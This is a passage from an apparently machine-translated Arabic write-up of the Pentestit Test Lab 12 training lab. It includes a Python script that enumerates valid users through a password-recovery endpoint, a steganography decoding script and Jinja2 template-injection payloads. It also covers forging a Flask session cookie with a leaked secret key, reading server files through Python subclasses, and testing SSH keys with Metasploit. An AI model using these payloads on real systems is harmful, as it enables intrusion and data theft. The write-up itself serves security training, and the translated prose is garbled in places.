"ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}] url = "http://172.16.1.20:8000/recover_password" l = len(list_user) valid=[] for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i]) print(valid) 


لذلك نجد ميدفيديف.

صورة

استعادة كلمة المرور الخاصة به. لن ينجح المرور على الفور ، حيث سيتم التعرف على "+" كمسافة ، و "&" كفاصل. نشفّر في URLencode ونتخذ الرمز المميز.

صورة

رمز الصورة


لذلك ، وجدنا صور stego. هيا بنا باستخدام ملف ، binwalk ، ومحرر سداسي عشرية ، نتحقق من الملفات بحثًا عن المرفقات. إنهم ليسوا كذلك ، فسنقوم بتحليل الأداة المساعدة stegsolve. في الصورة الأكبر نجد البتات المنسدلة في الموضعين 2 و 1 rgb. هذه هي طريقة LSB.

صورة

علاوة على ذلك ، لأنني لم أتطور في stegsolve ، لم أتلق شيئًا. سيكون لديك لفهم مقابض أكثر عمقا. للقيام بذلك ، استخدم مكتبة python PIL للعمل مع الصور. ننظر إلى الصورة ، ونرى أن البيكسلات تأخذ ثلاث قيم - 0 و 255 و 249. لنقم بإنشاء خريطة ثنائية للصورة. بما أن 0 و 255 قيمتان عاديتان للباركود ، فسنكتب "0" بدلاً منهما ، و "1" بدلاً من 249. بعد ذلك ، سنحاول تقسيم بطاقتنا إلى ستة عشر حرفًا ونزيل منها جميع الخطوط التي تحتوي على ستة عشر صفراً فقط. بعد ذلك ، اكتب موضع الوحدة من كل سطر ، وقم بترجمته من نموذج سداسي عشري إلى سلسلة للحصول على رمز مميز.

صورة
صورة

صورة

صورة

قانون
 from PIL import Image import binascii image = Image.open('./support4.png') width, height = image.size pix = image.load() r='' for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0' token='' for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2] print(token) 


رمزي


هكذا. يوجد أيضًا ملف my.test.lab في الملف / etc / hosts ، حيث لم نذهب بعد. نموذج التفويض. لدينا معلومات ، sviridov و medvedev المستخدمين. تسجيل الدخول بنجاح إلى المعلومات. هناك شريط البحث. بناءً على طلب الرمز المميز ، يتم منحنا خمس صور من المهر. لا يوجد شيء ، ونحن سوف تفحص. عند استخدام wapiti نحصل على حظر. مع بعض الاستعلامات للتحقق من SQL-inj و XSS ، نحصل أيضًا على حظر. نرسل طلبًا بسيطًا لاختبار SSTI: {{7 * 7}}. وتم تنفيذ الرمز ، حيث وصلنا في الإجابة إلى 49.

صورة

يبقى تحديد محرك القالب المستخدم على الخادم. يعد ذلك ضروريًا لمعرفة أي بيئة (المتغيرات والوظائف والثوابت وما إلى ذلك) للعمل معها. ويمكن القيام بذلك بسهولة على النحو التالي.

صورة

نحن نعلم بالفعل أنه هو Jinja2 أو غصين. لذلك ، نرسل الطلب التالي: {{7 * "7"}}. نحصل على استجابة إيجابية. هذا هو محرك قوالب Jinja2 python ، والذي يتم تأكيده بسهولة من خلال طلب {{self}}.

صورة

صورة

دعونا نلقي نظرة على التكوينات: {{config}}. هناك نجد المفتاح السري ، وهو الرمز المميز.

صورة

رمز واجهة برمجة التطبيقات


نتعلم من الوثائق التي تنشئ jinja2 ملفات تعريف الارتباط حسب المفتاح السري للخادم. لاستغلال مشكلة عدم الحصانة ، نحتاج إلى مدير ملف تعريف ارتباط البرنامج النصي . نحن بحاجة إلى التحقق مما إذا كان هذا المفتاح السري يعمل. للقيام بذلك ، نحتاج إلى محاولة فك تشفير جلسة مستخدم المعلومات عليه. يتم فك تشفير ملفات تعريف الارتباط بحرية.

صورة

مع العلم بتنسيق ملفات تعريف الارتباط ، يمكننا الآن تسجيل الدخول كأي مستخدم. للقيام بذلك ، يجب عليك أيضًا إنشاء ملفات تعريف الارتباط. بعد إخفاقات طويلة ، لاحظت وجود علاقة بين الكتلة الوسطى ووقت النظام. نغير التاريخ حتى يتزامن بداية الكتلة الوسطى. وصلت إلى 2060. مستخدمو الرمز المميز والمستخدمون sviridov ، لكنه لا يعطي أي شيء ، لذلك قررت إنشاء المشرف. بعد استبدال ملفات تعريف الارتباط بنجاح ، نحصل على بعض المفاتيح السرية للمستخدمين ، والتي لم يفهموها.

صورة

يستغرق البحث عن RCE (تنفيذ التعليمات البرمجية عن بُعد) ثلاثة أيام من خلال SSTI. الحقيقة هي أننا لا نستطيع إلا تشغيل الوحدات المحملة على الخادم ووظائفها. بادئ ذي بدء ، نكتشف ما هي الوظائف. سنفعل ذلك من خلال ملف تعريف ارتباط قارورة.
 {{"".__class__.__mro__[1].__subclasses__()}} 

ندخل في ملفات تعريف الارتباط ، نقوم بتحديث الصفحة ونرى أنه بدلاً من اسم المستخدم ، يتم عرض جميع فئات بايثون المحملة على الخادم. من بينها Popen ، والذي سيتيح لنا قراءة الملفات على الخادم.

صورة

صورة

يبقى الآن قراءة الملف على طول المسار / var / www / api / الرمز المميز. سنصل إلى الفصل حسب الفهرس (بالنسبة لـ popen فهو 94). في ذلك ، ندعو الوظيفة المفتوحة لفتح الملف (نقطع الطريق إلى الملف ، وإلا مرشحات WAF) ونقرأه باستخدام وظيفة read ().

 {{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}} 

كإخراج ، نحصل على الملف كمجموعة من البايتات ، التي نقوم بنسخها ، ونفتح مترجم بايثون ونلصقه كسلسلة. بعد ذلك ، اكتب هذا السطر إلى الملف. لنلقِ نظرة على نوع الملف في الأداة المساعدة للملف. هذا هو أرشيف * tar.gz. نفتح ونأخذ الرمز.

صورة
صورة

صورة

صورة

صورة

رمز المسؤول


المهمة الأخيرة لا تزال قائمة. يخزن الأرشيف مفتاح الاتصال عبر ssh. من تحليل SIEM ، يمكنك معرفة أي مضيف للاتصال به.

صورة

بادئ ذي بدء ، تحتاج إلى تكوين حقوق الوصول إلى المفتاح ، حيث يتم التحقق من ذلك عند الاتصال (يجب أن يكون 600). ثم نتصل ، لكننا على علم بأن الوصول مغلق وأن الخطأ موجود في المفتاح.

صورة

عند عرض تنسيق المفتاح ، نلاحظ أن محتوياته لا تتوافق مع الملف الكامل. للقيام بذلك ، نحتاج إلى معلومات المصادقة التي قبلناها عند إنشاء الاتصال وتجزئة SHA التي يمكن اتخاذها في SIEM.

صورة
شهادات قديمة وجديدة
صورة

ولكن الآن عند محاولة الاتصال ، تحت Sviridov (هو المسؤول) ، قيل لنا أن المفتاح لا يصلح. نحتاج إلى فرز جميع المستخدمين الذين لدينا بالفعل.

صورة

لاختبار المفتاح والمستخدمين ، نستخدم وحدة إطار عمل metasploit - scanner / ssh / ssh_login_pubkey. وكما ترون ، هذا هو مفتاح المستخدم sidorov.

صورة

البحث في نظام الملفات المميز.

 find | grep token 

بعد ذلك ، تحقق من الحقوق وسلم الرمز المميز.

صورة

استنتاج


إذن اجتاز مختبر اختبار Pentestit 12.

صورة

أود أن أقول شكراً جزيلاً لمنظمي هذا المختبر ، لكن بعض المهام كانت لـ CTF أكثر من اختبار الاختراق. آمل أن تساعد هذه المقالة شخصًا ما على التعلم واكتشاف شيء جديد ، وسيتم تذكير شخص ما باللحظة التي مر خلالها بنفسه في هذا المختبر من الرمز المميز إلى الرمز المميز. الآن نحن في انتظار 13th ...

نحن في قناة برقية: قناة في برقية .

Source: https://habr.com/ru/post/ar458214/


All Articles